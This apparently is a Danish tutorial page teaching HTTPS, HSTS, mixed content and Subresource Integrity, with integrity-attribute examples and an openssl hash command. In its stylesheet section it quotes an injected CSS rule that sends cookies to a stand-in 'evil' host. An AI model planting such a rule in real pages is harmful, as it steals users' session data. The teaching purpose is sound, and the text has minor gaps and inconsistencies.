HTTPS og Subresource Integrity
Kontrollér integriteten af eksterne ressourcer med integrity-attributten
HTTPS og Subresource Integrity er en gratis HTML Academy-lektion på CoddyKit. Dette er lektion 4 af 4. Du kan læse alle 3 lektioner i dette læringsspor gratis i deres fulde længde — derefter låser CoddyKit PRO alle lektioner op samt praktiske øvelser med en indbygget kodeeditor og en AI-underviser døgnet rundt. Den er en del af læringsforløbet i HTML Academy, og dine fremskridt synkroniseres på tværs af nettet og CoddyKit-appen. HTML Academy-kurset indeholder 4 lektioner i alt.
Hvorfor HTTPS overalt
HTTPS krypterer data under overførsel og godkender serverens identitet. Uden HTTPS kan angribere på det samme netværk (caféens wifi, internetudbyderen eller en statslig aktør) læse hver eneste byte og indsætte skadeligt indhold i svarene. Moderne browsere markerer HTTP-sider som "Ikke sikker", og mange API'er (kamera, geolokation, service workers) nægter at fungere over HTTP.
Blandet indhold
Indlæsning af HTTP-ressourcer fra en HTTPS-side er blandet indhold. Browseren blokerer aktivt blandet indhold (scripts, iframe-elementer og stilark) fuldstændigt og viser advarsler om passivt blandet indhold (billeder). Indlæs altid alle ressourcer via HTTPS; brug protokolrelative URL'er (//cdn.example.com) eller absolutte https://-URL'er.
HSTS
HTTP Strict Transport Security via svarheaderen Strict-Transport-Security fortæller browsere, at de fremover skal afvise HTTP-forbindelser til dit domæne. Når HSTS er gemt i cachen, kan en angriber ikke nedgradere en bruger til HTTP, selv hvis angriberen befinder sig mellem brugeren og serveren.
Hvorfor SRI
Det er praktisk at indlæse scripts fra tredjeparts-CDN'er, men det indebærer risici — hvis CDN'et kompromitteres, kan en angriber udskifte scriptet med skadelig kode. Subresource Integrity (SRI) får browseren til at kontrollere filens kryptografiske hash, før den køres, og nægter at køre den, hvis hashen ikke stemmer.
Attributten integrity
Tilføj en base64-kodet SHA-256/384/512-hash til script-tagget: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Browseren beregner hashen for den downloadede fil og nægter at køre den, hvis hashen ikke stemmer.
<link
rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
crossorigin="anonymous">Generering af hashes
Generér hashen med openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Du kan også bruge et plugin til et byggeværktøj, som automatisk genererer attributten integrity. De fleste CDN'er (jsdelivr, unpkg) viser SRI-tagget i deres kopiér-og-indsæt-kodestykke.
crossorigin er påkrævet
SRI kræver, at svaret fra en anden oprindelse tillader integritetskontrol via CORS. Tilføj crossorigin="anonymous" til tagget, og sørg for, at CDN'et sender Access-Control-Allow-Origin. Uden dette nægter browseren at kontrollere integriteten, og ressourcen indlæses ikke.
Flere hashes
Attributten integrity kan indeholde flere hashes adskilt af mellemrum. Det er nyttigt under en versionsovergang: angiv hasherne for både den gamle og den nye version, så accepterer browseren den version, CDN'et leverer. Undgå mere end et par hashes, så attributten forbliver læsbar.
SRI til stilark
SRI beskytter også . En kompromitteret CSS-fil er mindre direkte farlig end et kompromitteret script, men indsat background: url("//evil/log?cookie=...") kan stadig eksfiltrere data. Anvend SRI på alle eksterne ressourcer, hvor det er muligt.
Det er ofte bedst at hoste selv
SRI begrænser virkningen af et kompromitteret CDN, men løser ikke alle problemer: En hashændring på CDN'et ødelægger din side, indtil du opdaterer attributten integrity. For kritiske biblioteker skal du selv hoste den fil, du har gennemgået — så eliminerer du både behovet for SRI-fastlåsning og risikoen i leverandørkæden i én arbejdsgang.
Ydeevne
SRI tilføjer en hashberegning pr. ressource — ubetydeligt på moderne hardware, mikrosekunder pr. kilobyte. Beskyttelsen mod angreb på leverandørkæden opvejer langt omkostningen. Der er ingen ydeevnemæssig grund til at springe SRI over, når du indlæser fra et CDN.
Begrænsninger
SRI kontrollerer bestemte bytes — det beskytter ikke mod, at CDN'et leverer en anden fil til nogle brugere (selektiv målretning). For maksimal sikkerhed skal du kombinere SRI med HTTPS, HSTS, CSP og selvhosting af de mest kritiske ressourcer.
Videnstjek
Hvad beskytter attributten integrity på et script-tag imod?
Opsummering
HTTPS krypterer og godkender, HSTS forhindrer nedgraderingsangreb, og SRI kontrollerer, at filer fra tredjeparter ikke er blevet manipuleret. Tilføj integritetshashes (med crossorigin="anonymous") til alle eksterne scripts og stilark fra et CDN, du ikke kontrollerer. For de mest kritiske ressourcer skal du i stedet hoste dem selv — så eliminerer du risikoen i leverandørkæden helt.
Lær HTML med en AI-underviser — gratis
Skriv og kør rigtig kode i din browser, få øjeblikkelig hjælp fra en AI-underviser døgnet rundt, og fortsæt, hvor du slap, på web eller i appen.
- Kurser
- 40
- Lektioner
- 159
Ofte stillede spørgsmål
Er lektionen “HTTPS og Subresource Integrity” gratis?
Ja — alle 3 lektioner i læringssporet HTML Academy, inklusive “HTTPS og Subresource Integrity”, kan læses gratis i deres fulde længde her på webstedet. Derefter låser CoddyKit PRO alle lektioner op samt interaktive øvelser med en indbygget kodeeditor og en AI-underviser døgnet rundt. HTML Academy-kurset indeholder 4 lektioner i alt.
Hvad lærer jeg i “HTTPS og Subresource Integrity”?
Kontrollér integriteten af eksterne ressourcer med integrity-attributten Du øver dig i HTML Academy med praktisk kode, som du kører direkte i browseren, og en AI-vejleder døgnet rundt besvarer dine spørgsmål, mens du arbejder dig gennem lektionen.
Skal jeg have erfaring for at begynde på HTML Academy?
Der kræves ingen tidligere erfaring. HTML Academy på CoddyKit er tilrettelagt for både begyndere og øvede, så du kan starte her eller fra begyndelsen og lære i dit eget tempo. Dette er lektion 4 af 4.
Hvor lang tid tager lektionen “HTTPS og Subresource Integrity”?
De fleste CoddyKit-lektioner tager cirka 5–10 minutter. Hver lektion er kort og interaktiv, så du gør løbende fremskridt og kan fortsætte, hvor du slap – på både web og app.
Kan jeg skrive og køre kode i denne HTML Academy-lektion?
Ja. Alle HTML Academy-lektioner har en indbygget kodeeditor, så du kan skrive og køre rigtig kode direkte i din browser og få øjeblikkelig feedback fra AI – uden lokal opsætning.
Alle lektioner i dette kursus
- Content Security Policy: meta http-equiv
- XSS via innerHTML og sådan forebygges det
- iframe-sandboxing og Permissions Policy
- HTTPS og Subresource Integrity